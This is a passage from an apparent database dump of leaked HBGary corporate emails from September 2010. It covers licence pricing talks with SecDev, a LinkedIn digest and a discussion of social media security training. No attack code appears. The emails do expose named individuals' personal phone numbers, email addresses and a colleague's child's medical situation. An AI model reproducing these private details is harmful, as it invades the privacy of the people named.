--\r\n&gt;&gt; &gt;&gt; &gt; Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n&gt;&gt; &gt;&gt; &gt; 916-481-1460\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt; &gt; Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n&gt;&gt; &gt;&gt; &gt; https://www.hbgary.com/community/phils-blog/\r\n&gt;&gt; &gt;&gt; &gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt;\r\n&gt;&gt; &gt;&gt; --\r\n&gt;&gt; &gt;&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt;&gt; &gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt;&gt; &gt;&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; --\r\n&gt;&gt; &gt; Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n&gt;&gt; &gt; 916-481-1460\r\n&gt;&gt; &gt;\r\n&gt;&gt; &gt; Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n&gt;&gt; &gt; https://www.hbgary.com/community/phils-blog/\r\n&gt;&gt; &gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt;\r\n&gt;&gt; --\r\n&gt;&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt;&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt;&gt; www.hbgary.com  |  ted@hbgary.com\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Phil Wallisch | Principal Consultant | HBGary, Inc.\r\n&gt;\r\n&gt; 3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\n&gt;\r\n&gt; Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax:\r\n&gt; 916-481-1460\r\n&gt;\r\n&gt; Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:\r\n&gt; https://www.hbgary.com/community/phils-blog/\r\n&gt;\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.851 / Virus Database: 271.1.1/3112 - Release Date: 09/08/10\r\n13:41:00\r\n\r\n-- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864Cell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460\r\nWebsite: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',11035,'aaron_hbgary_com/11035.html'),(11496,'2010-09-09','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297008662.M903127P14101Q6351.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 9/08/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      LinkedIn Network Updates\r\n      Sep 1 - Sep 8\r\n    \r\n    \r\n      FEATURED UPDATES\r\n      See more updates &#187;\r\n    \r\n    \r\n      \r\n    \r\n    PROFILE\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n                   Ed Wallach has an updated profile (Expertise)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Craig Reed has an updated profile (Experience)\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n                   Victor Tsao - &#x66f9;&#x529b;&#x5143; has an updated profile (Experience)\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    CONNECTIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n  Jim Holtzclaw\r\nis now connected to\r\n            Michael Wee\r\n,             Curt Armbruster\r\n,             Doug Hardway\r\n,       and 5 other people.\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Ben Koehl\r\n    is now connected to\r\n        Bryce Galbraith\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    POSTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\n&quot;To those who would exercise derision, bigotry, open rejection of fellow Americans of different faith,..shame on you&quot; -http://nyti.ms/db54Ri      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nThe New York Times &gt; Log In         \r\n           \r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Toth\r\nPreachers who were only obnoxious to those on their streetcorner can now be globally obnoxious, and dangerous, thanks to modern media.#koran      \r\n      Add a comment\r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n            \r\n              \r\n\r\n\r\n\r\n\r\n\r\n      Michael Schell\r\nWe are all gonna die! \r\n\r\nWell, maybe not tomorrow.....from an asteroid impact.      \r\n      Add a comment\r\n      \r\n        \r\n        \r\n        \r\nAsteroid Double Whammy Near Earth Wednesday         \r\n          Get out your telescopes! Two small asteroids will come within moon distance of Earth Wednesday.\r\n\r\nAccording to NASA&#x2019;s Near-Earth Object impact risk tables, the odds that 2010 RF12 will hit the Earth are about 1 in 50, and the odds of an impact with...\r\n        \r\n\r\n\r\n\r\n\r\n\r\n\r\n               \r\n            \r\n    \r\n  \r\n\r\n    \r\n    GROUPS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Mary Sullivan has joined\r\n    Cyber Security Situational Awareness\r\n              \r\n            \r\n            \r\n              \r\n\r\n  Ben Koehl has joined 2 groups, including\r\n      \r\n      Forensic Focus\r\n      and\r\n      Digital Forensics Magazine\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Sonny Discini has joined\r\n    PPM Transparency Group\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    PHOTOS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n\r\n  Ed Wallach has uploaded a new profile picture\r\n              \r\n            \r\n            \r\n              \r\n\r\n\r\n  Jason Wonn has uploaded a new profile picture\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    RECOMMENDATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n    Ed Wallach recommends\r\ncolleague      Eugene Sherry\r\n          Senior Associate/Technical Recruiter at Wallach Associates, Inc\r\n        I have known Gene for 20 years. For 10 of them, he worked for me. He is the professional you want ha...\r\n        Read more\r\n              \r\n            \r\n            \r\n              \r\n\r\n    Sid Fuchs recommends\r\ncolleague      Bobby Key\r\n          Operations Analyst - Team Lead at Northrop Grumman Corporation\r\n        Bobby did an excellent job as my IT Director at Northrop Grumman.  He is customer focused, creative,...\r\n        Read more\r\n              \r\n            \r\n    \r\n  \r\n\r\n    \r\n    EVENTS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Michael Schell\r\n                  \r\n                     will be attending \r\n                  \r\n                    RSA Conference 2011 USA\r\n                  \r\n                     on February 14, 2011 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Jason Mueller\r\n                  \r\n                     will be attending \r\n                  \r\n                    ArcSight Protect \'10\r\n                  \r\n                     on September 19, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n            \r\n              \r\n\r\n                  \r\n                    Michael Schell\r\n                  \r\n                     added \r\n                  \r\n                    2010 Long Beach ICB Marathon and Half\r\n                  \r\n                     to be held on October 17, 2010 \r\n                  \r\n                    RSVP\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n    \r\n    APPLICATIONS\r\n\r\n\r\n  \r\n    \r\n            \r\n              \r\n\r\n                  \r\n                    Jamie Butler\r\n                  \r\n                     is now using the new LinkedIn for BlackBerry application.  \r\n                  \r\n                    Get it now &#187;\r\n                   \r\n                          \r\n            \r\n    \r\n  \r\n\r\n      \r\n    \r\n    \r\n        \r\n        See more updates &#187;\r\n      \r\n    \r\n    \r\n      \r\n\r\n\r\n\r\n  \r\n    \r\n      Don\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n      &copy; 2010, LinkedIn Corporation\r\n    \r\n  \r\n      \r\n    \r\n  \r\n  \r\n',16182,'aaron_hbgary_com/16182.html'),(11497,'2010-09-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008663.M117319P14101Q6352.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: SecDev - licenses','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWE haven&#8217;t given 50% off because\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;It saves the consultant time which saves them money\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nIt&#8217;s a tool they use on multiple engagements, just like\r\nany other tool they have to buy\r\n\r\n3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nWe can probably do 30% if that helps, or we have a yearly rate\r\nof $7500 for Responder Pro (not including DDNA)&nbsp; and there is no discount\r\noff that rate, but it includes maintenance&nbsp; It expires at the end of a\r\nyear.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 11:24 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: SecDev - licenses\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWell in this scenario what have u done in the past?\r\n&nbsp;Total price is normally around 15k right? &nbsp;Can we sell it 50% or is\r\nthat too steep?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n&lt;a.manchanda@secdev.ca&gt;\r\nDate: September 7, 2010 4:43:19 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev - licenses\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks for this. The work we need your product for is for a\r\nlarge US based telco, and we envision it becoming a client of SecDev/HBGary as\r\npart of a larger set of managed security services. Thus we would like to be\r\nable to price accordingly to entice the client to use the product as part of\r\ntheir managed service.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRafal. &nbsp;I am very sorry to hear of your circumstances.\r\n&nbsp;I understand. &nbsp;I had twins in the NICU for 3 months when they were\r\nborn, hardest time of my life.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nArnav. &nbsp;I will get that quote out to you asap.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know when you are ready to reengage. &nbsp;We have\r\nstarted down a social media path that you might find interesting.\r\n&nbsp;Attached is a brochure for our social media training. &nbsp;For some\r\norganizations we also conduct social media penetration tests and provide\r\ninformation exposure data and wrap the material into the training. &nbsp;So far\r\nthat is going well for us.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Aaron,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHope all is well. Please excuse the silence from our side -\r\nRafal\'s 5 month old had open heart surgery a few weeks ago, and there have been\r\nsome post-operative complications and the baby is still in hospital, and\r\nRafal\'s time for August and this month has been heavily sidetracked.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWe are working a commercial job doing some cyber\r\ninvestigative stuff for a company, and Nart, our technical lead (I think you\'ve\r\nmet him?) requires a license for HBGary Responder and FD Pro - could you\r\nprovide pricing/availability for these two?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn the collaboration side, we are looking to reengage with\r\nyou and the team at HBGary soon.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe&nbsp;SecDev&nbsp;Group\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O\'Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice:&nbsp;+1 (613) 755-4007\r\nCell:&nbsp;&nbsp;+1 (438) 885-3328\r\nE-mail:&nbsp;a.manchanda@secdev.ca&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n&nbsp;\r\n\r\nConsider\r\nthe environment. Please don\'t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11472,'aaron_hbgary_com/11472.html'),(11498,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008663.M394972P14101Q6353.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: SecDev - licenses','Ok thanks.  What you say all makes sense.  I am not as wise on the product side, so needTo ask.  They are well respected and talk a good game for future work so needed a more experienced opinion.  I will see of they need ddna or not and go from there.\r\nAaronSent from my iPhoneOn Sep 8, 2010, at 11:15 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nWE haven’t given 50% off because\r\n\r\n1.      \r\n It saves the consultant time which saves them money\r\n\r\n2.      \r\nIt’s a tool they use on multiple engagements, just like\r\nany other tool they have to buy\r\n\r\n3.      \r\nWe can probably do 30% if that helps, or we have a yearly rate\r\nof $7500 for Responder Pro (not including DDNA)  and there is no discount\r\noff that rate, but it includes maintenance  It expires at the end of a\r\nyear.\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, September 08, 2010 11:24 AM\r\nTo: Penny Leavy\r\nSubject: Fwd: SecDev - licenses\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nWell in this scenario what have u done in the past?\r\n Total price is normally around 15k right?  Can we sell it 50% or is\r\nthat too steep?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Arnav Manchanda\r\n&lt;a.manchanda@secdev.ca&gt;\r\nDate: September 7, 2010 4:43:19 PM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Rafal Rohozinski &lt;r.rohozinski@secdev.ca&gt;\r\nSubject: Re: SecDev - licenses\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks for this. The work we need your product for is for a\r\nlarge US based telco, and we envision it becoming a client of SecDev/HBGary as\r\npart of a larger set of managed security services. Thus we would like to be\r\nable to price accordingly to entice the client to use the product as part of\r\ntheir managed service.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRafal.  I am very sorry to hear of your circumstances.\r\n I understand.  I had twins in the NICU for 3 months when they were\r\nborn, hardest time of my life.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nArnav.  I will get that quote out to you asap.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet me know when you are ready to reengage.  We have\r\nstarted down a social media path that you might find interesting.\r\n Attached is a brochure for our social media training.  For some\r\norganizations we also conduct social media penetration tests and provide\r\ninformation exposure data and wrap the material into the training.  So far\r\nthat is going well for us.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDear Aaron,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHope all is well. Please excuse the silence from our side -\r\nRafal&#39;s 5 month old had open heart surgery a few weeks ago, and there have been\r\nsome post-operative complications and the baby is still in hospital, and\r\nRafal&#39;s time for August and this month has been heavily sidetracked.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWe are working a commercial job doing some cyber\r\ninvestigative stuff for a company, and Nart, our technical lead (I think you&#39;ve\r\nmet him?) requires a license for HBGary Responder and FD Pro - could you\r\nprovide pricing/availability for these two?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn the collaboration side, we are looking to reengage with\r\nyou and the team at HBGary soon.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nBest wishes,\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav\r\nManchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; Analytics\r\n\r\nThe SecDev Group\r\n\r\ncomplexity.engaged\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nWorld Exchange Plaza\r\n\r\n\r\n\r\n\r\n\r\n45 O&#39;Connor Street, Suite 1150\r\n\r\n\r\n\r\n\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\n\r\n\r\n\r\n\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (438) 885-3328\r\nE-mail: a.manchanda@secdev.ca \r\n\r\n \r\n\r\n\r\n\r\nThis\r\nemail and any attached files are confidential and copyright protected. If you\r\nare not the addressee, any dissemination of this communication is strictly\r\nprohibited. Unless otherwise expressly agreed in writing, nothing stated in\r\nthis communication shall be legally binding.\r\n\r\n \r\n\r\nConsider\r\nthe environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2904,'aaron_hbgary_com/2904.html'),(11499,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008663.M610166P14101Q6354.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>,\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - licenses','Sure.  Sorry for the delay.  I am trying to work the best deal.  Do you want ddna?  Base for responder is 10k.Maintain is 2kDdna is 2k per year\r\nSo normal price is 14k for everything.  I am negotiating a discount with HBGary.  At most it might be 30%.  I will have a quote tomorrow afternoon.Aaron Sent from my iPad\r\nOn Sep 8, 2010, at 9:48 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,Just wanted to touch base on this, hopefully we can sort this out Thursday?\r\nThanks,ArnavOn 2010-09-07, at 4:43 PM, Arnav Manchanda wrote:\r\nHi Aaron,Thanks for this. The work we need your product for is for a large US based telco, and we envision it becoming a client of SecDev/HBGary as part of a larger set of managed security services. Thus we would like to be able to price accordingly to entice the client to use the product as part of their managed service.\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-09-07, at 2:24 PM, Aaron Barr wrote:\r\nRafal.  I am very sorry to hear of your circumstances.  I understand.  I had twins in the NICU for 3 months when they were born, hardest time of my life.Arnav.  I will get that quote out to you asap.\r\nLet me know when you are ready to reengage.  We have started down a social media path that you might find interesting.  Attached is a brochure for our social media training.  For some organizations we also conduct social media penetration tests and provide information exposure data and wrap the material into the training.  So far that is going well for us.\r\nAaron&lt;HBGary Federal Social Media Training Brochure.pdf&gt;\r\nOn Sep 7, 2010, at 1:17 PM, Arnav Manchanda wrote:\r\nDear Aaron,Hope all is well. Please excuse the silence from our side - Rafal&#39;s 5 month old had open heart surgery a few weeks ago, and there have been some post-operative complications and the baby is still in hospital, and Rafal&#39;s time for August and this month has been heavily sidetracked.\r\nWe are working a commercial job doing some cyber investigative stuff for a company, and Nart, our technical lead (I think you&#39;ve met him?) requires a license for HBGary Responder and FD Pro - could you provide pricing/availability for these two?\r\nOn the collaboration side, we are looking to reengage with you and the team at HBGary soon.Best wishes,Arnav\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (438) 885-3328E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n',9214,'aaron_hbgary_com/9214.html'),(11500,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008664.M326597P14101Q6356.eml','\"Aaron Barr\" <aaron@hbgary.com>','Alarm - Cyber Fajitas','September 8, 2010 6:00 PM : Cyber Fajitas ',5895,'aaron_hbgary_com/5895.html'),(11501,'2010-09-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008664.M576818P14101Q6357.eml','\"Kevin Spease\" <kevin.spease@gmail.com>,\"Kevin Spease\" <kevin.spease@gmail.com>,','Re: Social Media / Info Recon Training','Thanks for the response and input.1. &nbsp;There are certainly risks in companies use of social media and we cover those, but it tends to more be around how they use it, manage it and not letting it get out of control or backfire, which can have huge repercussions. &nbsp;We cover pros and cons of using different types of social media within the organization. &nbsp;The reason we focus on the employees is because they are very difficult to individually keep track of from an information exposure view and they are by far the biggest risk and easiest to exploit.2. &nbsp;As to risk, as part of our offering we do social media pen tests, vulnerability or information exposure assessments. &nbsp;These are narratives at the moment but our plan is to over time be able to more statistically model some of these values. &nbsp; We can monitor information regarding the company as well as how vulnerable its individual employees are. &nbsp;A simple example, a company of 600 people has 30% of its employees with Facebook accounts which at a minimum has their friends lists exposed. &nbsp;This is a huge attack surface that if used for targeting, social recon and engineering, and malware injection is guaranteed to be successful multiple times.&nbsp;3. &nbsp;The in person full day course is preferred. &nbsp;But this is dependent on whether enough people can be signed up for one day in class. &nbsp;The webinars allows us to teach much fewer students more often.I agree there is an uphill climb in convincing organizations this is important. &nbsp;The goals of the class are to convey the direction of social media, how to use it, what to understand for risks, nail home the potential vulnerabilities with some use cases (these really get peoples attention) and then give them some steps they can implement individually and some things the organization can do to lower their risks. &nbsp;Social media is becoming the primary mechanism for entry malware. &nbsp;The so what is if all the people that attend the class implement just the individual protection measures they are guaranteed to lower their personal risk as well as the corporate information exposure and exploitation risk. &nbsp;To the company this tangibly means less compromises.AaronOn Sep 8, 2010, at 3:55 PM, Kevin Spease wrote:We can help promote it.\r\nIt would be no problem to put it in our email blast and place a few fliers on the table at the meeting.&nbsp; We don\'t charge a fee for that.&nbsp; And, given HBGary\'s support earlier this year, it won\'t be a problem.\r\n\r\n&nbsp;\r\nBut I do have some comments / questions about the program overall...\r\n&nbsp;\r\n1) From the brochure, I get the impression that the course deals with an enterprise being the primary target with the employee being an unwitting dupe (attacking the company THRU the employee).&nbsp; Now that companies are presenting themselves in social media, are they making critical errors that need remediation / consideration?&nbsp; Is that covered in the course?\r\n\r\n2) \"Risk\" is always a discussion that makes people bristle (at least it does me due to the subjective nature).&nbsp; However, is there a way to determine a company\'s \"risk profile\" (How \"exposed\" am I?) and is that covered in the course?\r\n\r\n3) I see several course delivery methods.&nbsp; What did you envision for the courses in Sacramento?&nbsp; On ground at the HBGary facility?\r\n&nbsp;\r\nIt is an interesting course - I think it would be good.&nbsp; I think the primary issue is helping companies to answer the \"So What\" question.&nbsp; My general impression is that most companies believe there is very little they can do.&nbsp; So, it seems that calling them to action will be a challenge.&nbsp; If they think, \"who cares\" and \"nothing I can do about it\" then you would have a tough sell... Right?\r\n\r\nOn Wed, Sep 8, 2010 at 11:22 AM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nThis time with 